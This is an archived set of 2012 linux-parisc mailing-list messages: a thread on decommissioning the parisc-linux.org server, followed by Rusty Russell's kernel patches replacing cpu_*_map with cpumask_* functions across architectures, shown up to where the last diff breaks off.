From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Tue, 14 Feb 2012 19:31:28 +0100
Lines: 79
Approved: news@gmane.org
Message-ID: <CA+DQjFh8qF961ZGqt8yHJu4gPP=ji9Y08hqseRoPQg7637uMQA@mail.gmail.com>
References: <20120208143347.GB22903@dannf.org> <CA+DQjFhKZiuxcoHJYcpDBUJW3xNNTDQhfm=d3trWG3u8DARtXw@mail.gmail.com>
 <BLU0-SMTP5575D9E1E9A88CEE0BD790977A0@phx.gbl> <20120209175547.GA22332@dannf.org>
 <BLU0-SMTP8734A5ED7DDBD9EC0C7A7597790@phx.gbl> <20120214180519.GA32602@dannf.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1329244313 27501 80.91.229.3 (14 Feb 2012 18:31:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 14 Feb 2012 18:31:53 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	taggart@lackof.org, bame@riverrock.org,
	"Carlos O'Donell" <carlos@systemhalted.org>
To: dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 14 19:31:51 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RxNAM-00010d-Lp
	for glpp-linux-parisc@plane.gmane.org; Tue, 14 Feb 2012 19:31:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753715Ab2BNSbu convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Feb 2012 13:31:50 -0500
Original-Received: from mail-yx0-f174.google.com ([209.85.213.174]:33408 "EHLO
	mail-yx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753487Ab2BNSbt convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Feb 2012 13:31:49 -0500
Original-Received: by yenm8 with SMTP id m8so207609yen.19
        for <linux-parisc@vger.kernel.org>; Tue, 14 Feb 2012 10:31:49 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        bh=AFu4J9uRAr5yjbnIuSmdJi+EXNoEMtIBMUlm/1Ru3WU=;
        b=CCYJQ9FGFRVSOlYhByNTxqh2Jy4wtfKpIpfWhBkBon7U2GBHq3SafqtNmYzIPujamE
         7/zwehBmY1JelVU0zmqo+0heyatP3rhSAjIpFUaqu1Ct/9R8ex/YrOyNfKmjEnMMZkb7
         sfSd1Q0h+petobouLJthU/UJUaeEmw8fl1JuU=
Original-Received: by 10.50.236.73 with SMTP id us9mr6248124igc.16.1329244308250; Tue,
 14 Feb 2012 10:31:48 -0800 (PST)
Original-Received: by 10.42.145.201 with HTTP; Tue, 14 Feb 2012 10:31:28 -0800 (PST)
In-Reply-To: <20120214180519.GA32602@dannf.org>
X-Google-Sender-Auth: 23UqilLIq_znF2EvxEWapAQCdZM
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4171
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4171>

On Tue, Feb 14, 2012 at 7:05 PM, dann frazier <dannf@dannf.org> wrote:
> On Sat, Feb 11, 2012 at 02:11:30PM -0500, John David Anglin wrote:
>> On 9-Feb-12, at 12:55 PM, dann frazier wrote:


>> >For 1) I think the right answer is to move services to a new
>> >stable/secure host for the time being and shut the existing machine
>> >down. We can retain the option of moving things back once the unsta=
ble
>> >port is in full force. As a side benefit, such a migration should a=
lso
>> >help get the existing services running w/ newer packages
>> >(e.g. apache2) and allow us cleanly transition services over w/
>> >minimal downtime (demonstrate a working system first, then update D=
NS
>> >records). Who knows how painful it will be to go from pre-lenny to =
sid
>> >all at once.
>> >
>> >2) can be solved by moving the domain to someone else's
>> >infrastructure, or having a trusted volunteer to be the primary
>> >admin for the system.
>>
>>
>> I need to update a few more packages before magnum is ready for buil=
dd.
>>
>> Thibaut offered to setup the buildd but doesn't have a lot of free
>> time. =C2=A0I'm
>> willing to do general system admin and monitoring the build system,
>> but Thibaut =C2=A0has to be in charge. =C2=A0I'm hoping that Carlos =
is still
>> willing to help
>> with uploads, and to try to get his current patches into the debian
>> eglibc 2.13
>> patch set. =C2=A0Otherwise, we may have to have a separate patch set=
=2E
>>
>> I think ESIEE is the logical host site. =C2=A0Magnum will be moved t=
o an
>> "open" IP
>> when it's ready to start building. =C2=A0It will require careful
>> firewalling at that time.
>>
>> No objection to moving the current buildd to magnum. =C2=A0I guess t=
he
>> security
>> updates are the biggest issue. =C2=A0Once the buildd is running, we =
can
>> work on
>> transitioning to a final release.
>
> All of the above sounds like good progress. However, it still leaves =
the
> parisc-linux.org machine running an unsupported OS for an undefined
> amount of time. During that time, this box will either need to be
> shutoff, or manually patched to avoid HP audit scans (or, worse yet,
> actual exploits). If the plan is to migrate this system to the
> debian-ports unstable archive when it becomes available, we'll need
> someone to maintain that install as well.

It looks to me like this burden clearly outweighs the benefits of
being selfhosted, so maybe the right move is to use a supported
architecture for hosting the website? Given the "audience" for
linux-parisc, I don't think it would make a significant difference...

my 2c.
T-Bone


--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Tue, 14 Feb 2012 13:33:48 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <CADZpyiwqn60ChBSO5PJj9AojH2CWQvRgjYM61iRQxryH2wzUnA@mail.gmail.com>
References: <20120208143347.GB22903@dannf.org>
	<CA+DQjFhKZiuxcoHJYcpDBUJW3xNNTDQhfm=d3trWG3u8DARtXw@mail.gmail.com>
	<BLU0-SMTP5575D9E1E9A88CEE0BD790977A0@phx.gbl>
	<20120209175547.GA22332@dannf.org>
	<BLU0-SMTP8734A5ED7DDBD9EC0C7A7597790@phx.gbl>
	<20120214180519.GA32602@dannf.org>
	<CA+DQjFh8qF961ZGqt8yHJu4gPP=ji9Y08hqseRoPQg7637uMQA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1329244432 28415 80.91.229.3 (14 Feb 2012 18:33:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 14 Feb 2012 18:33:52 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	taggart@lackof.org, bame@riverrock.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 14 19:33:50 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RxNCI-0002x8-3j
	for glpp-linux-parisc@plane.gmane.org; Tue, 14 Feb 2012 19:33:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759408Ab2BNSdt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Feb 2012 13:33:49 -0500
Original-Received: from mail-yx0-f174.google.com ([209.85.213.174]:60131 "EHLO
	mail-yx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1759446Ab2BNSds (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Feb 2012 13:33:48 -0500
Original-Received: by yenm8 with SMTP id m8so209071yen.19
        for <linux-parisc@vger.kernel.org>; Tue, 14 Feb 2012 10:33:48 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=cZIivzkJCjq4W5zbRrGt5OCb/BwpfRW/kOvw1Ee3aW0=;
        b=kzedqcEFOhh7pvXOEfA9d0qbBqkNVeQOmuk/VetiwysnQSrRhE5Tio+VnhLm3ddRkl
         Klyr1De1fRfvN0SDup3Flrfga0JIlVypv43XNti4YgQ8DgO/6q+a4dQv7wAuJsaZk30o
         cIl3pzXy4R7n1WT5s6Ao81dHmKC5eH7T7yPgU=
Original-Received: by 10.236.153.230 with SMTP id f66mr4584577yhk.37.1329244428189;
 Tue, 14 Feb 2012 10:33:48 -0800 (PST)
Original-Received: by 10.146.84.1 with HTTP; Tue, 14 Feb 2012 10:33:48 -0800 (PST)
In-Reply-To: <CA+DQjFh8qF961ZGqt8yHJu4gPP=ji9Y08hqseRoPQg7637uMQA@mail.gmail.com>
X-Google-Sender-Auth: qJV-PPR1DoR2fekb0G29GNzYSlU
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4172
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4172>

On Tue, Feb 14, 2012 at 1:31 PM, Thibaut VARENE <T-Bone@parisc-linux.org> wrote:
> It looks to me like this burden clearly outweighs the benefits of
> being selfhosted, so maybe the right move is to use a supported
> architecture for hosting the website? Given the "audience" for
> linux-parisc, I don't think it would make a significant difference...

I tend to agree. Use the right tool for the right job.

Fun hacking = HPPA.

Serve the website = x86.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rusty Russell <rusty@rustcorp.com.au>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 5/12] arch/parisc: remove references to cpu_*_map.
Date: Wed, 15 Feb 2012 15:28:04 +1030
Lines: 27
Approved: news@gmane.org
Message-ID: <1329281884.9242.rusty@rustcorp.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: dough.gmane.org 1329282103 21186 80.91.229.3 (15 Feb 2012 05:01:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 15 Feb 2012 05:01:43 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Feb 15 06:01:42 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1RxWzr-0005iF-Lw
	for glk-linux-kernel-3@plane.gmane.org; Wed, 15 Feb 2012 06:01:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752878Ab2BOFBb (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 15 Feb 2012 00:01:31 -0500
Original-Received: from ozlabs.org ([203.10.76.45]:39403 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751280Ab2BOFAO (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 15 Feb 2012 00:00:14 -0500
Original-Received: by ozlabs.org (Postfix, from userid 1011)
	id 4907B1007DA; Wed, 15 Feb 2012 16:00:12 +1100 (EST)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1253398 gmane.linux.ports.parisc:4173
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1253398>

From: Rusty Russell <rusty@rustcorp.com.au>

This has been obsolescent for a while; time for the final push.

Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: linux-parisc@vger.kernel.org
---
 arch/parisc/kernel/smp.c |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -291,8 +291,7 @@ smp_cpu_init(int cpunum)
 	mb();
 
 	/* Well, support 2.4 linux scheme as well. */
-	if (cpu_isset(cpunum, cpu_online_map))
-	{
+	if (cpu_online(cpunum))	{
 		extern void machine_halt(void); /* arch/parisc.../process.c */
 
 		printk(KERN_CRIT "CPU#%d already initialized!\n", cpunum);


From - Thu Nov 08 21:07:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 5/12] arch/parisc: remove references to cpu_*_map.
Date: Wed, 15 Feb 2012 14:50:43 +0530
Lines: 24
Approved: news@gmane.org
Message-ID: <4F3B78EB.4050404@linux.vnet.ibm.com>
References: <1329281884.9242.rusty@rustcorp.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1329297660 19707 80.91.229.3 (15 Feb 2012 09:21:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 15 Feb 2012 09:21:00 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Venkatesh Pallipadi <venki@google.com>,
	"akpm@linux-foundation.org" <akpm@linux-foundation.org>
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 15 10:20:58 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Rxb2n-0005SL-Ns
	for glpp-linux-parisc@plane.gmane.org; Wed, 15 Feb 2012 10:20:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755932Ab2BOJU4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 15 Feb 2012 04:20:56 -0500
Original-Received: from e23smtp01.au.ibm.com ([202.81.31.143]:33606 "EHLO
	e23smtp01.au.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758144Ab2BOJUz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 15 Feb 2012 04:20:55 -0500
Original-Received: from /spool/local
	by e23smtp01.au.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <srivatsa.bhat@linux.vnet.ibm.com>;
	Wed, 15 Feb 2012 09:14:47 +1000
Original-Received: from d23relay05.au.ibm.com (202.81.31.247)
	by e23smtp01.au.ibm.com (202.81.31.207) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Wed, 15 Feb 2012 09:14:43 +1000
Original-Received: from d23av04.au.ibm.com (d23av04.au.ibm.com [9.190.235.139])
	by d23relay05.au.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q1F9FbA63043550;
	Wed, 15 Feb 2012 20:15:37 +1100
Original-Received: from d23av04.au.ibm.com (loopback [127.0.0.1])
	by d23av04.au.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q1F9KlEU014943;
	Wed, 15 Feb 2012 20:20:48 +1100
Original-Received: from srivatsabhat.in.ibm.com (srivatsabhat.in.ibm.com [9.124.35.180])
	by d23av04.au.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q1F9KiW9014895;
	Wed, 15 Feb 2012 20:20:44 +1100
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:9.0) Gecko/20111222 Thunderbird/9.0
In-Reply-To: <1329281884.9242.rusty@rustcorp.com.au>
x-cbid: 12021423-1618-0000-0000-000000CED2F3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4174 gmane.linux.kernel:1253457
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4174>

On 02/15/2012 10:28 AM, Rusty Russell wrote:

> From: Rusty Russell <rusty@rustcorp.com.au>
> 
> This has been obsolescent for a while; time for the final push.
> 
> Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
> Cc: Kyle McMartin <kyle@mcmartin.ca>
> Cc: Helge Deller <deller@gmx.de>
> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
> Cc: linux-parisc@vger.kernel.org
> ---


Reviewed-by: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>

Regards,
Srivatsa S. Bhat

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:07:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rusty Russell <rusty@rustcorp.com.au>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH 1/5] remove references to cpu_*_map in arch/
Date: Thu, 16 Feb 2012 14:21:26 +1030
Lines: 547
Approved: news@gmane.org
Message-ID: <1329364286.9720.rusty@rustcorp.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1329364368 3139 80.91.229.3 (16 Feb 2012 03:52:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 16 Feb 2012 03:52:48 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-sh@vger.kernel.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Paul Mackerras <paulus@samba.org>, sparclinux@vger.kernel.org,
 Russell King <linux@arm.linux.org.uk>, linux-hexagon@vger.kernel.org,
 Helge Deller <deller@gmx.de>, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 user-mode-linux-devel@lists.sourceforge.net, Jeff Dike <jdike@addtoit.com>,
 Chris Metcalf <cmetcalf@tilera.com>,
 user-mode-linux-user@lists.sourceforge.net,
 linux-arm-kernel@lists.infradead.org, linux-parisc@vger.kernel.org,
 Ralf Baechle <ralf@linux-mips.org>, Richard Kuo <rkuo@codeaurora.org>,
 Kyle McMartin <kyle@mcmartin.ca>, Paul Mundt <lethal@linux-sh.org>,
 Richard Weinberger <richard@nod.at>, Andrew Morton <akpm@linux-foundation.org>,
 linuxppc-dev@lists.ozlabs.org, "David S. Miller" <davem@davemloft.net>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Feb 16 04:52:39 2012
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from merlin.infradead.org ([205.233.59.134])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1RxsOb-00026z-JG
	for linux-arm-kernel@m.gmane.org; Thu, 16 Feb 2012 04:52:37 +0100
Original-Received: from localhost ([::1] helo=merlin.infradead.org)
	by merlin.infradead.org with esmtp (Exim 4.76 #1 (Red Hat Linux))
	id 1RxsO8-0002Js-H4; Thu, 16 Feb 2012 03:52:08 +0000
Original-Received: from ozlabs.org ([2402:b800:7003:1:1::1])
 by merlin.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
 id 1RxsNz-0002Je-Ib
 for linux-arm-kernel@lists.infradead.org; Thu, 16 Feb 2012 03:52:05 +0000
Original-Received: by ozlabs.org (Postfix, from userid 1011)
 id 590AC1007D4; Thu, 16 Feb 2012 14:51:54 +1100 (EST)
X-Spam-Note: CRM114 invocation failed
X-Spam-Score: -1.9 (-)
X-Spam-Report: SpamAssassin version 3.3.2 on merlin.infradead.org summary:
 Content analysis details:   (-1.9 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 T_RP_MATCHES_RCVD      Envelope sender domain matches handover relay
 domain
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.14
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: linux-arm-kernel-bounces@lists.infradead.org
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:152462 gmane.linux.kernel:1253933 gmane.linux.ports.mips.general:33537 gmane.linux.ports.sh.devel:13582 gmane.linux.ports.sparc:15750 gmane.linux.ports.hexagon:371 gmane.linux.uml.devel:13373 gmane.linux.uml.user:14196 gmane.linux.ports.parisc:4176 gmane.linux.ports.ppc64.devel:80070
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/152462>

From: Rusty Russell <rusty@rustcorp.com.au>

This has been obsolescent for a while; time for the final push.

In adjacent context, replaced old cpus_* with cpumask_*.

Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
Acked-by: David S. Miller <davem@davemloft.net> (arch/sparc)
Acked-by: Chris Metcalf <cmetcalf@tilera.com> (arch/tile)
Cc: user-mode-linux-devel@lists.sourceforge.net
Cc: Russell King <linux@arm.linux.org.uk>
Cc: linux-arm-kernel@lists.infradead.org
Cc: Richard Kuo <rkuo@codeaurora.org>
Cc: linux-hexagon@vger.kernel.org
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: linux-mips@linux-mips.org
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: linux-parisc@vger.kernel.org
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: Paul Mackerras <paulus@samba.org>
Cc: linuxppc-dev@lists.ozlabs.org
Cc: Paul Mundt <lethal@linux-sh.org>
Cc: linux-sh@vger.kernel.org
Cc: sparclinux@vger.kernel.org
---
 arch/arm/kernel/kprobes.c           |    4 ++--
 arch/arm/kernel/smp.c               |    7 ++++---
 arch/hexagon/kernel/smp.c           |    8 ++++----
 arch/mips/cavium-octeon/smp.c       |    2 +-
 arch/mips/kernel/mips-mt-fpaff.c    |    2 +-
 arch/mips/kernel/proc.c             |    2 +-
 arch/mips/kernel/smp-bmips.c        |    2 +-
 arch/mips/kernel/smp.c              |   27 ++++++++++++---------------
 arch/mips/kernel/smtc.c             |    2 +-
 arch/mips/mm/c-octeon.c             |    6 +++---
 arch/mips/netlogic/common/smp.c     |    6 +++---
 arch/mips/pmc-sierra/yosemite/smp.c |    6 +++---
 arch/mips/sgi-ip27/ip27-smp.c       |    2 +-
 arch/mips/sibyte/bcm1480/smp.c      |    5 ++---
 arch/mips/sibyte/sb1250/smp.c       |    7 +++----
 arch/parisc/kernel/smp.c            |    3 +--
 arch/powerpc/platforms/wsp/smp.c    |    2 +-
 arch/sh/kernel/smp.c                |    2 +-
 arch/sh/kernel/topology.c           |    2 +-
 arch/sparc/kernel/leon_kernel.c     |    6 +++---
 arch/tile/kernel/setup.c            |    6 +++---
 arch/um/kernel/skas/process.c       |    2 +-
 arch/um/kernel/smp.c                |    9 ++++-----
 23 files changed, 57 insertions(+), 63 deletions(-)

diff --git a/arch/arm/kernel/kprobes.c b/arch/arm/kernel/kprobes.c
--- a/arch/arm/kernel/kprobes.c
+++ b/arch/arm/kernel/kprobes.c
@@ -127,7 +127,7 @@ void __kprobes arch_arm_kprobe(struct kp
 		flush_insns(addr, sizeof(u16));
 	} else if (addr & 2) {
 		/* A 32-bit instruction spanning two words needs special care */
-		stop_machine(set_t32_breakpoint, (void *)addr, &cpu_online_map);
+		stop_machine(set_t32_breakpoint, (void *)addr, cpu_online_mask);
 	} else {
 		/* Word aligned 32-bit instruction can be written atomically */
 		u32 bkp = KPROBE_THUMB32_BREAKPOINT_INSTRUCTION;
@@ -190,7 +190,7 @@ int __kprobes __arch_disarm_kprobe(void 
 
 void __kprobes arch_disarm_kprobe(struct kprobe *p)
 {
-	stop_machine(__arch_disarm_kprobe, p, &cpu_online_map);
+	stop_machine(__arch_disarm_kprobe, p, cpu_online_mask);
 }
 
 void __kprobes arch_remove_kprobe(struct kprobe *p)
diff --git a/arch/arm/kernel/smp.c b/arch/arm/kernel/smp.c
--- a/arch/arm/kernel/smp.c
+++ b/arch/arm/kernel/smp.c
@@ -359,7 +359,7 @@ void __init smp_prepare_cpus(unsigned in
 		 * re-initialize the map in platform_smp_prepare_cpus() if
 		 * present != possible (e.g. physical hotplug).
 		 */
-		init_cpu_present(&cpu_possible_map);
+		init_cpu_present(cpu_possible_mask);
 
 		/*
 		 * Initialise the SCU if there are more than one CPU
@@ -577,8 +577,9 @@ void smp_send_stop(void)
 	unsigned long timeout;
 
 	if (num_online_cpus() > 1) {
-		cpumask_t mask = cpu_online_map;
-		cpu_clear(smp_processor_id(), mask);
+		struct cpumask mask;
+		cpumask_copy(&mask, cpu_online_mask);
+		cpumask_clear_cpu(smp_processor_id(), &mask);
 
 		smp_cross_call(&mask, IPI_CPU_STOP);
 	}
diff --git a/arch/hexagon/kernel/smp.c b/arch/hexagon/kernel/smp.c
--- a/arch/hexagon/kernel/smp.c
+++ b/arch/hexagon/kernel/smp.c
@@ -36,7 +36,7 @@
 #define BASE_IPI_IRQ 26
 
 /*
- * cpu_possible_map needs to be filled out prior to setup_per_cpu_areas
+ * cpu_possible_mask needs to be filled out prior to setup_per_cpu_areas
  * (which is prior to any of our smp_prepare_cpu crap), in order to set
  * up the...  per_cpu areas.
  */
@@ -211,7 +211,7 @@ int __cpuinit __cpu_up(unsigned int cpu)
 	stack_start =  ((void *) thread) + THREAD_SIZE;
 	__vmstart(start_secondary, stack_start);
 
-	while (!cpu_isset(cpu, cpu_online_map))
+	while (!cpu_online(cpu))
 		barrier();
 
 	return 0;
@@ -232,7 +232,7 @@ void __init smp_prepare_cpus(unsigned in
 
 	/*  Right now, let's just fake it. */
 	for (i = 0; i < max_cpus; i++)
-		cpu_set(i, cpu_present_map);
+		set_cpu_present(i, true);
 
 	/*  Also need to register the interrupts for IPI  */
 	if (max_cpus > 1)
@@ -272,5 +272,5 @@ void smp_start_cpus(void)
 	int i;
 
